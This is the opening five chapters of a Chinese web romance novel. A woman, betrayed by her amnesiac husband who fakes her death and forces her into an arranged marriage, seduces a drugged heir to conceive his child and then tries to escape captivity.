《太乖?陆总根本降不住,娇吻成瘾》 第1章 睡了二世祖陆京洲 “快找,别让她跑了!” 汗水顺着岑予衿的额角滑落,滴进眼睛里,刺的生疼,她却连眨一下都不敢,双手死死的抵着门。 门外,杂乱的脚步声与污言秽语,透过门缝清晰的传入她的耳朵。 “看清楚了吗?人真跑到这一层了?” 几个五大三粗的男人气喘吁吁的从楼梯跑上来,在走廊上四处张望着。 “我亲眼看着她跑上来的,人不在这儿还能长翅膀飞了不成?” “动作快一点,周总可是说了,楼下哥几个都打点好了,抓到人直接送到后面仓库去,十几个兄弟等着‘伺候’这位大小姐呢!” 一阵猥琐的笑声响起,充满了不怀好意的期待,“那细皮嫩肉的,够咱们爽了……” “动作快点,别惊扰了顶层的贵客。尤其是最里面那间,听说今晚陆家那位二世祖陆京洲在里面,惹到他,咱们谁都吃不了兜着走!” 十几个混混,仓库…… 冰冷的恐惧沿着脊椎一路爬升,心跳的声音震得岑予衿耳膜生疼。 他们口中的周总,是她青梅竹马的丈夫周时越。 两年前岑家破产,母亲跳楼,父亲入狱,上亿债务压在她肩上,被债主逼到绝境。 在她最绝望时,是周时越不顾家族反对,在祠堂跪了三天三夜,执意娶她。 可领证第二天,周时越乘船前往M国途中遭遇海难,尸骨无存。 所有人都劝她死心,唯有她不肯放弃,一边撑着摇摇欲坠的公司守着他的位置,一边四处打听他的下落。 三个月前,周时越奇迹生还,可失忆了,带着在国外明媒正娶的妻子林舒薇归国,看她的眼神冰冷又陌生。 岑予衿不死心,试过所有方法,想让他恢复记忆,换来的只有羞辱与嘲讽,现在更是要将她丢进混混堆里。 周时越将她从深渊里拉出来,如今却亲自将她推入了更深的深渊! 脚步声渐渐地远去,走廊重新陷入死寂。 岑予衿紧绷的神经稍稍放松,暂时得救了。 这口气还没完全呼出,一具滚烫得异常的身体猛地从背后贴近她。 一只大手带着灼人的温度死死扼住了她纤细的喉咙。 “呃!”窒息感瞬间袭来,岑予衿惊恐地睁大双眼,双手下意识地去掰扯那只禁锢她呼吸的手,却撼动不了分毫。 灼热的呼吸喷在她的耳后颈侧,带着一种不正常的急促和危险的气息。 “老太太派你来的?”男人的声音低沉沙哑,充满了压抑的暴戾和警惕,每个字都像是从牙缝里挤出来的。 岑予衿被他死死按在门板上,脸颊贴着冰冷的门板,身后是他滚烫如烙铁的胸膛。 冰火两重天的折磨,加上喉咙被扼住的痛苦,让她眼前阵阵发黑。 她艰难地从齿缝间挤出声音,泪水因生理性的痛苦而溢出眼,“没人派我……是……是巧合……” “巧合?”男人低哑地冷笑一声,钳制她喉咙的手反而收得更紧,另一只手则粗暴地扣住她的腰肢,将她更紧密地压向自己,“在我被老太太下药的时候,你恰好出现在我房间?嗯?” 下药? 岑予衿心脏猛地一沉,瞬间明白了他此刻反常的原因。 烫的跟火炉似的体温,逐渐失控的力道,沙哑且泛着情欲的声音……一切都有了答案。 “不知道……”她拼命挣扎,指甲在他手臂上划出一条条红痕。 可能与力量悬殊,禁锢在自己身上的手不动分毫。 男人猛地将她身体翻转过来,迫使她面对自己。 昏暗的光线下,他俊美的脸上泛着不正常的潮红,额角青筋隐现,那双深邃的黑眸里翻涌着混沌的欲望和冰冷的杀意,矛盾而骇人。 生理性的泪水从眼眶滑落,滴在他的手上。 门外隐约传来那个带头混混压低了声音的呵斥,“蠢货!这是陆二少的房间!你想死别拉着我们!去另一边找!” “陆二少”这三个字,像一道闪电劈进岑予衿混乱的脑海。 那个从精神病院出来的神经病? 刚开始那几个人就说过,只是她想着怎么躲开他们没反应过来。 顶层……最里面那间……陆家二世祖……陆京洲! 陆京洲京城四大家族之首陆家二少爷,圈里有名的二世祖,万花丛中过,片片都沾身。 他的光荣事迹包括但不限于,荒唐赌局输掉家族产业,进公司三天亏损五亿,父亲寿宴送钟,后妈送骨灰盒…… 十多岁就被后妈送到了精神病院,被转送出国之后就再也没有消息了。 岑予衿人都要傻了。 刚从狼窝出来,又进了虎穴。 不对! 老太太……下药……陆京洲! 几个词串联在一起,岑予衿一下子就反应过来了。 早听说陆家老太太给陆京洲找媳妇儿,愣是没有一个人敢嫁…… 所以老太太本意就是想让人霸王硬上弓自己孙子? 门外是十几个等着将她拖入地狱的混混,清白、尊严、甚至性命都不保。 眼前这货虽是二世祖,可陆家的身份地位却是京城所有人都要忌惮三分的。 一个有权势的男人和一堆混混,该怎么选岑予衿还是分的清。 既然深情不值钱,那她就挑最贵的攀! 反正陆京洲也不是什么好东西,她睡得心安理得。 岑予衿放弃挣扎,转而攀上他的肩膀。 她垫起脚尖,仰头,湿漉漉的眼睛就这么撞进了陆京洲的视线里。 下一秒! 女孩温软的唇贴了上来。 唇瓣相贴的瞬间,陆京洲浑身一僵,扼着她脖子的手松了两分,呼吸愈发粗重。 岑予衿没退缩,舌尖轻轻蹭过他灼热的唇角。 她能清晰感受到他身体的紧绷,药效在他血液里翻涌的灼烫,知道自己赌对了第一步。 她故意顿了顿,手指顺着他的肩膀下滑,轻轻勾住他的领带,将人往自己这边带,声音压得极低,带着引诱,“很难受吧?我帮你……” 话音未落,她再次吻上去,不再犹豫,主动撬开他的唇齿,笨拙却坚定地迎合。 软! 怀里的人又香又软! 声音也好听,叫起来更好听! 这个想法在脑子里炸响,陆京洲喉间滚出低哑的闷哼,药效压过警惕,一时间理智全无。 原本钳制她的手转而扣住她的后颈,反客为主地加深这个吻,灼热的呼吸几乎要将她吞噬。 岑予衿趁他意乱情迷,双手猛地撑住他胸膛,借力发力。 陆京洲被药效扰得脚下发虚,没料到她这一手,踉跄着后退,重重撞上大床边缘。 不等他反应,岑予衿顺势扑上,膝盖抵在床沿,双手按着他肩膀,将人彻底推倒在柔软大床。 她撑着手臂,居高临下地看他,眼底没了怯懦,只剩直白的算计与决绝,泪水已收,眼尾泛红的痕迹更显勾人。 陆京洲扣在她腰际的大手,收的愈发紧。 岑予衿咬了咬唇,抽了个枕头垫高腰臀。 “给我滚出去!”陆京洲清醒了一瞬,暴怒的声音随即响起。 岑予衿更气,哪儿哪儿都不舒服,声音带着哭腔,“我不!” 陆京洲:“……” 起初是她缠着他要了一遍又一遍。 后来是他食髓知味,像饿了许久的狼。 天际泛起鱼肚白~ 岑予衿一夜没睡,浑身像是被拆开重组过一遍。 昨晚那些混乱又炽热的画面争先恐后地涌入脑海,让她瞬间从耳根红到了脖颈。 陆京洲真万花丛中过,片片都沾身? 一整晚! 一开始毫无技巧可言! 这是一个换女朋友换的比翻书还快的人该有的反应? 没被他弄死,都是岑予衿牛逼! 第2章 我先生弱精 岑予衿把垫在自己腰臀下的两个枕头取出来丢到另一边。 好死不死,枕头被丢到了某张俊脸上! “滚!”旁边传来了某人极度不满的闷哼。 想到他那些‘光荣事迹’,岑予衿微微有点怂,赶紧把枕头小心翼翼的拿了下来。 听说垫个枕头容易受孕,从始至终她都没有拿下来,这是她能攀上陆家唯一的机会。 岑予衿下床看了一眼,自己昨天晚上穿的衣服 带子该断的断,该碎成片儿的碎成片儿,完全穿不了了! 她下意识看向衣柜,衣柜里挂满了他的衣服,黑白灰为主,不是太像他行事乖张的风格。 视线落在男人身上。 褪去了昨晚的暴戾和情欲,沉睡中的陆京洲五官格外优越,睫毛长而密,在眼睑下投下一小片阴影,鼻梁高挺,薄唇微抿……模样倒是逆天。 看着外面的天渐亮,岑予衿也不再耽搁,她怕被二世祖报复。 取下他衣柜里的白色衬衫套在身上,袖口往上卷,又将自己白色裙子的腰带取下来系在身上。 已经入秋了,这会儿出去有些冷,她毫不犹豫的顺走旁边的黑色西服外套。 陆京洲189的大高个儿,衣服穿在她167的身上,有种oversize的感觉。 天已经大亮,岑予衿转身出门,余光瞥见走廊尽头的监控,把头埋得更低了些。 离开酒店之后,立马去了24小时营业的药店。 值班的店员已经困到不行了,见她在计生用品前停留,打着哈欠提醒,“避孕药在你左手边第二排货架,第一款效果最好。” 她脖子上暧昧的红痕实在是太惹眼了! 这个时间着急忙慌出现在药店的,基本上都是买紧急避孕药的。 什么臭男人?为了自己爽一下,还让女孩儿吃药,不知道吃药对女孩儿身体不好吗? 渣男! 值班的店员看着乖乖软软的一个女孩,心软了,强忍着困意起身,拿了一盒药递给她,“拿这个吧,这个效果好一点。” 岑予衿犹豫了一瞬,“有助孕的药吗?” 值班店员手里的药盒顿在半空,困意瞬间散了大半,怀疑自己听错了,又追问了一句,“助……助孕的?” 岑予衿指尖攥着衬衫下摆,指节泛白,垂着眼帘,“嗯。我……我先生弱精,我们备孕挺久了,昨天刚好我排卵期,好不容易有机会,想多些把握。” 这番说辞,配上她那副“我见犹怜”的模样,店员秒懂。 原来不是渣男作孽,是夫妻生活不易啊! 看向岑予衿的眼神立刻从同情买药变成了同情不易。 “哦哦!原来是这样!理解理解!”店员连忙把手里的紧急避孕药放回货架,态度热情了许多,“有的有的,你跟我来,这边有几个牌子的备孕营养素,主要补充叶酸、维生素E这些,能帮助创造更好的受孕环境……” 店员热心地介绍着,岑予衿认真听着,时不时点头附和。 “其实吃这些只是次要,带您先生去京北男科医院看看,那边的医生特别专业。” “好,谢谢。”岑予衿边回应边付钱,却莫名其妙打了个寒战。 弱精?要是被陆京洲知道她这么编排他,以他那乖张暴戾的性子,恐怕就不是简单的报复了。 她估计见不到明天的太阳了。 …… 一片狼藉的酒店顶层的总统套房内。 陆京洲刚醒,脑袋昏昏沉沉的靠在床头,怀里抱着个枕头。 房间里残留着昨夜靡靡催情气息,说不清的暧昧旖旎。 老太太这骚操作也是没谁了,给自己亲孙子下药! 那么多孙子不够她抱吗? 抱上重孙子,她能活到千岁成老妖精? 陆京洲烦躁地揉着额角,宿醉和药力残留让他头痛欲裂。 他掀开被子打算下床,视线却猛地被床单上那一小片已经干涸、却依旧刺目的暗红色血迹钉在原地。 抬眼看向房间,全是碎的不成样子的布料! 不是幻觉。 昨晚他被老太太精心给他挑选的未婚妻扑了?! 记忆中模糊的片段瞬间变得清晰。 那女人勾着他的脖子就开始啃,啃完了还把他推到了床上扒他的衣服! 脑子里全是她痛极时咬紧的唇瓣,还有后来小猫一样的呜咽…… 一股莫名的烦躁猛地攫住了他! 陆京洲眼神骤然阴鸷,胸腔里翻涌着一种被“玷污”了的暴怒。 猛地抓起床头柜上的手机,毫不犹豫地拨通了宋清菡的电话。 “宋清菡,当老太太的狗当上瘾了,是不是?” “前一秒跟我说有喜欢的人了,让我成全,下一秒,就不要脸的爬上我的床?” 宋清菡怕陆京洲怕得要死,现在被他这样劈头盖脸地辱骂,更是吓得魂飞魄散,只想赶紧自证清白。 “京、京洲哥,你先别生气,是发生什么事情了吗?” “睡了老子,拍拍屁股走人?哪个给你的贼胆?” 电话那头沉默了。 陆京洲更气了,她这是默认了吧! “没有,不是我!我怕你怕的要死,你怀疑我爬你的床,还不如怀疑我爬陆大哥的。” “没有?”陆京洲扯着嘴角嗤笑,指节因为攥着手机而泛白,眼底的阴鸷几乎要溢出来,“老太太给我下药,你又是她的忠实狗腿,不是你还有谁!没有老太太的允许,我的门你能进得来?” 他越说越怒,恨不得把人掐死。 宋清菡声音透着紧张,“京洲哥,真不是我,我出国了。” “编,接着编。”陆京洲根本不信,语气里的嘲讽更甚,“出国?你怎么不说你会飞,连夜飞回来爬完床再飞回去?” “我没编!”宋清菡急的声音带着哭腔,“等我……” “闭嘴,不管你在哪儿,给你20分钟,滚回来领证,否则抓到了腿给你打断!”陆京洲被吵的脑仁疼。 是她先不仁,那就别怪他不义。 宋清菡不是和男朋友爱的死去活来。 行!让他们一辈子都不能名正言顺的在一起。 还能应付老太太催婚。 听到领证,宋清菡慌的要命,“我……我能证明,我给你发机票截图,还有我朋友圈!两天前落地就发了定位,你看,你看就知道了!” 宋清菡生怕他不相信,打开位置共享,又发了几张图片过去。 “这是我男朋友和我的照片,昨晚亲嘴儿的,需不需要我现在给你发段视频证明一下?” 位置共享确实在M国。 他可没有看别人现场直播的癖好。 下一秒,宋清菡和她男朋友躺床上的视频就发到他的手机上。 “京洲哥,你是昨天晚上被人玷污的,京北到这儿飞机都得14个小时,绝对不可能是我!” 哪壶不开提哪壶。 陆京洲听到玷污,身上的气压低的能冻死人。 不过照这么说,确实不可能是宋清菡,那昨天晚上进他房间的女人到底是谁? 陆京洲揉揉发胀的太阳穴,不等她说完直接将电话挂断。 又拨通了另外一个电话。 “给你15分钟,查清楚昨天晚上进我房间的女人是谁?” 对面的傅星驰顿了2秒,随即爆发出土拨鼠般的尖叫,“阿洲,你被破身了!这么着急让我查,是一见钟情要结婚?” 陆京洲冷哼一声,咬牙切齿,“找到了,弄死她!” 第3章 记住了你是周家二小姐周芙笙 清晨的林荫小道,冰莓粉保时捷tay稳稳停下。 岑予衿刚要解开安全带,手机就响了起来。 中控屏上显示的是闺蜜苏乐言。 电话响起的同时,微信消息也弹了好几条出来。 【衿衿,你没事儿吧?给我报个平安好吗?】 【恒峰集团昨晚发了讣告,说你发生意外,今天办葬礼下葬,到底是怎么回事儿?】 【我在山里拍戏,才两天没跟你联系,你别吓我。】 葬礼? 她自己的葬礼! 岑予衿完全懵了,立马接通了电话。 苏乐言焦急的声音就传了过来,“岑予衿,是你吗?你还活着吗?” 她死了还能给她打电话,苏乐言是真被吓到了。 “言言宝贝,我死了,给你打电话的是鬼吗?” 苏乐言的有哭声戛然而止,这熟悉的声线,以及说话的语气,就是她,“真的是你!” “真的,需要我证明一下吗?” “不用证明。”苏乐言的声音从恐惧转为了愤怒,“你活得好好的,你老公有病吧,给你办这么盛大的葬礼,是巴不得你去死吗?” 听到这话,岑予衿的心还是微不可查的痛了一下。 周时越确实巴不得她死了。 十个多个混混。 昨天晚上他就没想过让她平平安安的从酒店出来。 “你现在在哪儿?” 苏乐言咬牙切齿,“在你葬礼上,看着你老公把你下葬呢,渣男装的还挺像,我现在就上去把人撕了。” 岑予衿:“你是公众人物,别冲动,我马上过去。” 有些事情必须解决清楚。 岑予衿挂断电话,还没启动车子,就发现自己已经被保镖团团围住了。 …… 恒峰集团总裁办公室! 谢司喻像看疯子一样看着面前一身黑色西装,刚从葬礼上回来的周时越。 空气死一般的寂静,直到谢司喻猛地一拳砸在昂贵的公桌上,发出“砰”的一声巨响。 “周时越,你他妈知道你在做什么吗?” 周时越看着面前的一堆文件,语气听不出起伏,“很清楚。” “清楚个屁。”谢司喻往前几步,死死攥住他的衣领,“以前的你把岑予衿当成眼珠子一样疼,为了娶她不惜反抗家族。你是失忆了,不是失心疯了,你非要做的这么绝吗?” “不喜欢了可以离婚,娶谁嫁谁各不相干,她活得好好的,你就非得丧偶,给她注销户口吗?” “舒薇没有安全感。”周时越拂开他的手,提到林舒薇语气软了不少,“离婚没用。” 为了救他,林舒薇的腿受了很严重的伤,经过很长时间的复健才有了好转。 岑予衿的出现让她开始患得患失,精神状态很不好,都已经有了抑郁的征兆。 他发过誓,不会再让她受到一点伤害。 谢司喻真有种一拳打在棉花上的无力感,“周时越,你就是个人渣,你只看到林舒薇替你做过什么,岑予衿替你做过的事,你是一点不提,你出事到现在,你爸妈都放弃你了,只有她坚信你没事,一直在找你。” “要不是她一直坚持,你能这么顺利回国?” “所有人都说她是灾星,她晦气,克夫克全家。”谢司喻抬手敲着他的办公桌,发出砰砰砰的响声,“是她顶着巨大的压力,替你守住了这个位置!” “公司的事儿她一窍不通,做策划熬了多少个通宵?求了多少人?为了合作喝酒喝到胃出血住院,你出事的那片海,哪里有块小石头,她都记得清清楚楚。” 谢司喻越说越替她感到不值,额角青筋暴起,“两年上百次的机票往返,换来的是你给她举办的盛大葬礼。” 周时越眉头微蹙,眼底闪过一丝不易察觉的波动,但很快又恢复了平静。 整理了一下被他扯松的领带,声音不自觉的放大。 “舒薇跟我回国之后,没把她赶出周家已经够仁慈。她居然敢把舒薇骗到荒无人烟的小巷子,想找人玷污她,我只是以其人之道还治其人之身罢了,没弄死他还是看在舒薇的面子上。” 谢司喻比谁都清楚,岑予衿不是那样的人,可他知道说再多也没用,“行!以前的那些事情暂且不提,岑予衿什么时候成你周家二小姐周芙笙了,你还让她去联姻,你知道她嫁的人是谁吗?” 虽说他是周时越最好的朋友,却也无法站在他那边。 动用一切关系,让合法妻子死亡,给她销户,认她做自己的妹妹,逼她嫁给老头,只为给现任一个心安? 这些的事情都颠覆了谢司喻的认知,随便单拎出来一件事都是让他这个局外人都难以接受,更何况是对岑予衿这个当事人。 周时越修长的手指无意识的敲击着桌面。 他结过婚,现在又处于失忆状态,虽然他一再和舒薇保证自己只会爱她一个,可她状态还是很不好。 只有让岑予衿变成自己的妹妹,嫁了人,两人之间彻底没有可能,她才能放下心中的戒备。 “这重要吗?”周时越停一下动作,看向面前的人。 不重要吗? 他完全是把她往火坑里推,一个50多岁有特殊癖好的老头。 周时越已经不是两年前他认识的那个周时越了。 “你会后悔的,到时候你跪着求她都没用。” “我不会后悔,一辈子都不会。”周时越越,像是听到了世上最荒谬的笑话,冷笑了声,“煞星命,克我一次就算了,别祸害我太太。” “砰!” 办公室的门被猛地推开,撞在墙上,发出的沉闷响声,打破了室内两个男人之间僵持的气氛。 岑予衿被两个保镖一左一右地押着,站在总裁办公室敞开的门口。 他的那句‘煞星命,克我一次就算了,别祸害我太太。’清晰的传入她的耳朵里。 刹那,岑予衿脸上的血色褪得一干二净,心脏像是被一只无形的手撕裂,尖锐的疼痛蔓延至四肢百骸。 她连挣扎都忘了,定定地看着那个坐在宽大办公桌后,一身矜贵黑色西装的男人。 周时越依旧是记忆中的模样,可再也不是那个会把她从深渊里拉出来的人了。 周时越在她进门的第一时间捕捉到了她身上的异样。 身上是一件极不合身的男士衬衫,腰间用一条白色的腰带系着,领口微敞,露出一段白皙的脖颈,上面……全是暧昧的红痕。 一股无名火猛地窜起,夹杂着一种连他自己都无法理解的痛感,狠狠撞击着他的心脏。 他握着钢笔的手指不自觉地收紧,指节泛白,“滚出去!” 这话他是对着她身后的保镖说的。 保镖闻言,立刻松开她,低头往外走。 岑予衿自然察觉到他的视线,勾唇笑了笑,“周总这是什么表情?仓库那10个混混不是你找的?这不就是你想要看到的?” 谢司喻瞳孔一震,瞬间明白了什么,看向周时越的眼神充满了难以置信。 “岑予衿,你……”谢司喻下意识想上前,可周时越的速度比更快。 连他自己都还没有反应过来的情况下已经站在了岑予衿面前。 他本能的抬手想要用衬衫将脖颈上那些碍眼的痕迹遮住,可残存的理智硬生生的将他的手逼停至半空。 气氛凝滞了一瞬,他愤愤的将手收了回来。 是啊!那些人都是他安排的,结果是注定的。 岑予衿真的脏了! 周时越转身,走到办公桌前,单手撑着桌面点了点手边的文件,“记住了,从今天开始,你的身份是即将和泰康地产张董联姻的周家二小姐周芙笙。” 第4章 顺利怀孕 “周芙笙?”岑予衿的视线顺着他手指的方向,盯着那张周芙笙的身份证,忽然低低笑出了声。 被自己的丈夫亲手送到十几个混混的床上。 活得好好的,办了场最盛大的葬礼,被注销户口。 现在又成了他的妹妹,还要把她送去联姻。 可笑,实在是可笑。 笑着笑着,岑予衿的眼尾有了湿意。 那个为了娶她,不惜和家族反抗,不眠不休跪在祠堂3天3夜,告诉她,天塌下来有他顶着的周时越死了。 那个她被债主逼到绝境想要自杀,义无反顾挺身而出,把她从深渊里拉出来的周时越死了。 那个会在生理期给她煮红糖小丸子,生病会彻夜守在她床前,密码全是她生日,记得她所有喜好的周时越死了。 面前这个冷漠地注销她身份,为她举办葬礼、亲手将她推入火坑的周时越,只是一个占据着他皮囊的陌生人。 她的周时越,那个把她放在心尖上,连看她皱眉都舍不得的周时越,早就在两年前那场冰冷的海难里,随着他最拿得出手的爱与记忆,一同沉没,尸骨无存。 “啪!”清脆的巴掌声在寂静的办公室炸响。 周时越的脸偏向一侧,脸上迅速浮现出清晰的指痕,缓缓转回头,黑沉的眸子里先是错愕,随即翻涌起骇人的风暴。 岑予衿的手心还在发麻,心早已痛到麻木。 “周时越。”她看着他,声音不大,却带着一种被碾碎后的决绝,“让我联姻?你做梦。” 她一步步后退,拉开与他的距离,仿佛靠近他就会窒息,“我不会顶着‘周芙笙’这个可笑的名字,去嫁给任何人。” 岑予衿的目光扫过这间她熬了几百个日夜的办公室。 “这个位置。”她扯了扯嘴角,“我替你守了两年,现在还给你。” “从今以后,我们两清了。”最后三个字,她咬得极重,像是用尽了全身的力气。 再见面,他们绝对不可能是陌生人,是仇人。 林舒薇也好,周时越也罢,他们加注在她身上的痛苦她会千倍万倍的还给他们。 岑予衿不再看他是什么反应,转身就往外走。 “站住!”周时越没有一丝温度的声音从身后响起。 “两清?”他语气里的讥讽几乎要溢出来,“岑予衿,我周家是你想进,想出就出的地方?从你对薇薇下手那一刻起,咱们之间就注定不能两清。” 岑予衿像是没听到他说话,脚步一刻也不曾停留。 她的沉默和决绝,让他的怒火更盛。 他看着她的背影,看着她脖颈上那些刺眼的红痕,一股难以言喻的刺痛感猛地扼住了他的心脏。 他失控地对着门外厉声喝道,“拦住二小姐!把她带回别墅,没有我的允许,不准她踏出别墅半步,安心待嫁!” 保镖应声而入,迅速拦住了岑予衿的去路。 这一次,她没有挣扎,甚至没有回头。 只是在那两个保镖一左一右架住她胳膊的瞬间,她极轻地笑了一声,那笑声里带着无尽的嘲讽,不知是对他,还是对自己。 岑予衿被强行带离了办公室。 门缓缓关上,隔绝了她的身影,也仿佛将过去的一切彻底斩断。 周时越站在原地,胸口剧烈起伏,脸上火辣辣的痛感提醒着刚才那一巴掌是真实的。 心脏深处传来撕裂般的疼痛,他好像失去了什么很重要的东西。 周时越抬手松了松领带,试图驱散那股莫名的窒闷感。 “周时越,你会后悔的!”谢司喻留下这么句话,追了出去。 他不会后悔。 舒薇是他的太太,为了她,他做的这一切,都是对的。 岑予衿只是一个想离间他们之间感情的坏女人,是他人生的污点。 …… 西郊周家半山别墅。 婚期将近,佣人们都在忙,别墅内随处可见的大红喜字。 把岑予衿关在这儿一个月,周时越还是第一次踏进别墅。 “大少爷。”佣人见到他,恭敬的行礼。 周时越点头,径直往里走,边走边问,“她呢?” “夫人她在……”管家跟在身后下意识的回答。 听到这个称呼,走在前头的周时越停下了脚步,周身的气压都低了不少。 管家冷汗都冒出来了,叫习惯了,一时间没反应过来,把头埋得更低了些,“二小姐在楼上卧室,没怎么出过卧室,除了傍晚偶尔会到花园一趟。” 周时越走到了沙发旁坐下,“没什么异常吗?” 管家不知道他说的是哪个方面,只得事无巨细的回答,“作息规律,早睡早起,偶尔运动,挺正常的,要说异常……” 周时越眉头越皱越深,将视线落在他身上,似乎很不满他欲言又止的模样。 他就说,她怎么可能会那么乖,没有一点动作。 “要说异常那就是胃口挺好的,比起前两年,食欲好了不少。短短一个月,还长了点肉。” 周时越有些意外没想到他会这么说。 一个月前不是还缠着他,不论如何都要让他恢复记忆,非他不可吗? 现在真的能不作妖的乖乖待嫁? 卧室里的岑予衿对楼下的情况一概不知,手里拿着一只还未拆封的验孕棒。 一个月前她和周时越彻底决裂。 她清楚周时越的性格,哪怕她逃到国外也会被他抓回来。 与其无谓挣扎,不如遂了他的愿。 一个月的时间足够知道自己有没有成功怀孕。 周时越需要她去联姻,绝对不会再吃住方面亏待她,五星级大厨会根据她的需求提供最营养的餐食,睡觉的环境更是无可挑剔。 不用东躲西藏,还能吃好睡好,保持心情愉悦,可以大大的增加受孕几率。 叶酸和维生素她每天都在按时吃。 再去找周时越之前,她就去药店里买了4根验孕棒放在自己的包里。 做足了准备。 在网上查了一下,同房之后7~14天就能查出到底有没有怀孕,她一直算着日子用验孕棒测着。 可前三次,都没测出来。 今天是同房后的30天,只剩最后一根验孕棒了,成败在此一举。 要是今天没怀上……估计没什么希望了。 岑予衿深吸一口气,拆开验孕棒的包装,严格按照说明操作后,将它放在洗手台上,背过身看结果。 心跳的声音震耳欲聋——前三次空白的检测区,已经快磨掉她仅存的期待。 等了足有五分钟,她才缓缓转身,视线刚落在验孕棒上,瞳孔骤然缩紧。 两条清晰的红杠,红得刺眼,却又红得让她鼻尖一酸。 成了。 她真的怀上了! 岑予衿指尖轻轻碰了碰红杠,小手轻轻抚上平坦的小腹,嘴角抑制不住地往上扬。 “扣扣扣!” 她还没来得及高兴几分钟,外头就传来了剧烈的敲门声。 “岑予衿,开门!”周时越的声音满是不悦。 岑予衿手忙脚乱的把验孕棒塞回自己的手提包里,走过去拉开房门。 门刚开一条缝,周时越就径直闯了进来。 黑沉的眸子扫过房间,最后定格在她脸上,语气里满是质问,“一个月不闹不吵,吃好睡好,你到底要搞什么幺蛾子?别以为装乖,这门联姻就能黄!” 他认定了她在耍花样,认定了她所有的“安分”都是伪装,就像认定了她当初是她把林舒薇骗到小巷子一样。 岑予衿看着他,刚才那点因怀孕而起的兴奋,瞬间转化成怒火。 她想起自己这一个月的隐忍,怒火冲昏了理智,岑予衿没说一个字,抬手,“啪”的一声,清脆的巴掌声再次在房间里响起。 比上次在办公室的那一巴掌,更重,更狠。 周时越脸上的错愕瞬间蔓延开来,连怒火都顿了顿,他捂着脸,缓缓转头,“岑予衿,你敢打我第二次?” 岑予衿手心发麻,声音带着极致的决绝,“打你怎么了?周时越,是你上赶着找打,你除了用恶意揣测我,还会做什么?” “周时越,在你眼里,我呼吸是不是都是错的?是不是只有我死了,才不算搞幺蛾子?” 周时越被她眼中那浓烈的恨意钉在原地,心脏像是被什么东西狠狠揪了一下,那股熟悉的刺痛感再次袭来。 他看着她通红的眼眶和微微颤抖的身体,那句“是”卡在喉咙里,竟一时说不出口。 岑予衿看着他脸上的指痕和他眼中一闪而过的怔忡,心底涌起一股扭曲的快意。 她不再看他,猛地后退一步,“砰”地一声,用力摔上了房门,将他彻底隔绝在外。 谢司喻给她准备的手表,恰好弹出两条消息,是他发过来的。 【你准备好,今天是林舒薇的生日,是行动的最佳时机,我已经安排好了人带出来,出来之后私人飞机会送你到国外,周时越已经完全疯了,走了就别回来了。】 岑予衿看着他发过来的消息,回了句,【好,谢谢。】 她不能走,与其东躲西藏的过一辈子,不如主动出击,赌一把。 岑予衿攥紧了裙摆,片刻之后毫不犹豫的拨通了另外一个电话,“我让你准备的东西可以发送了。” 第5章 陆京洲:好熟悉的声音 天色彻底暗了下来,墨色笼罩着半山别墅,只有窗外零星的路灯投射出暖黄的光影。 岑予衿盯着房间看了许久,这个房间是周时越亲手布置的,他说这是婚房,是他们往后的小家,甚至连婴儿房他都准备了。 结果令人唏嘘,这婚房她一个人住了两年。 “叩叩叩。”规律的敲门声响起。 岑予衿心头一紧,声音有些警惕,“谁?” 应该不是周时越,她刚才扇了他一巴掌,他不至于舔着脸往上凑。 而且今天是林舒薇的生日,他应该会去陪着。 “夫人,是我,张叔。”管家的声音带着一丝不易察觉的紧张,“时间差不多了,我们得抓紧,谢少在外面等你。” 岑予衿松了一口气,张叔是谢司喻找的人。 最后检查了一下随身携带的小包,包里有她以前的必要证件,还有那张周芙笙的身份证。 以前的那些证件目前来说她是用不了了。 岑予衿指尖停顿了一瞬,继续检查,她拿了许多的现金,以及能放到包里的珠宝首饰,这些可以用来应急。 刚要拉上拉链,视线就被无名指上那枚鸽子蛋大小的钻戒吸引了过去。 她没有任何犹豫,取下来放在床头,打开门。 门外站着的是神色凝重的张叔。 “夫人,跟我来。”张叔没有多言,示意她跟上。 岑予衿住进这栋别墅以来,一直是他在照顾,她对少爷做的那些事情,他看的清清楚楚。 这个世界上没有比岑小姐更爱少爷的人。 他也心疼她的遭遇,送她出去是他唯一能做的事情,他不能眼睁睁的看着少爷把岑小姐往火坑里推。 张叔带着她走的路狭窄又曲折,七拐八绕的,显然是有意避着摄像头。 空气中弥漫着一种山雨欲来的压抑寂静,只有两人轻而急促的脚步声在空荡的走廊里回响。 张叔最终在一扇不起眼的木门前停下。 这里是别墅后厨堆放杂物的地方,气味混杂,平时很少有人来。 他熟练地摸出钥匙,插入锁孔,轻轻转动。 “吱呀~”一声轻响,门开了。 张叔边打开木门边轻声交代,“就从这里出去,沿着小路往下走,大概五百米,有一辆黑色轿车等着,车牌尾号是789。谢少爷会送您去机场。”张叔语速很快,眼神里带着关切和一丝不忍,“您保重。” “张叔,我走了你怎么办?” 张叔摆了摆手,“夫人,不用担心我,我无儿无女,明天也要回老宅了。两年前少爷离开前嘱咐过我保护好您,现在又何尝不是保护您呢?” 虽然违背了少爷的意愿,但以后恢复记忆的少爷肯定不会责备他。 他不能眼睁睁的看着夫人受伤害,更不能让少爷越陷越深。 岑予衿由衷地道谢,她知道张叔冒了多大的风险。 “谢谢,保重。”岑予衿深深的给他鞠了个躬,不再犹豫,迈步踏出了那扇门。 而然岑予衿还没走出十米,一道手电筒的光柱突然打在她身上。 几乎同时,身后别墅的警报声突然滴滴滴的响了起来,一瞬间别墅内外的灯唰一下也全都亮了起来。 岑予衿单薄的身影在强光下无所遁形。 “二小姐跑了!” “快!抓住她!” “通知大少爷!” 岑予衿攥紧了衣服下摆,指节泛白,心脏一瞬间跳到了嗓子眼。 ”夫人,快走!“张叔快速关上门,显然是在替她拖延时间。 她清楚的知道这是她最后的机会,她不能嫁给那个变态老头。 爸爸还在牢里,很快就要到探监的日子了。 她还没查清楚岑家破产的真相,还没报仇,绝对不能再被控住。 想到这些岑予衿没有半分犹豫,拼尽全力向前狂奔。 深秋的风带着刺骨的寒意一下一下的割在脸上,身后是保镖杂乱的脚步声和越来越近的警告声。 岑予衿什么也顾不上,只知道拼命往前跑。 肺部因剧烈奔跑火辣辣的疼,冰冷的空气灌进嗓子眼,喉间隐隐有了血腥味儿。 她下意识的护住小腹,鞋子早不知掉哪儿了,赤脚踩在粗糙的石子路上,传来钻心蚀骨的痛,她却浑然不觉。 “砰!”一声枪响划破夜空,并非对着她,而是鸣枪示警。 “二小姐!再不停下我们就采取强制措施了!”保镖头子的声音带着冰冷的威胁。 岑予衿咬紧牙关,非但没有停下,反而跑得更快。 她知道,停下就意味着彻底失去自由,顶着那个可笑的名字,像一件货物一样被送去联姻。 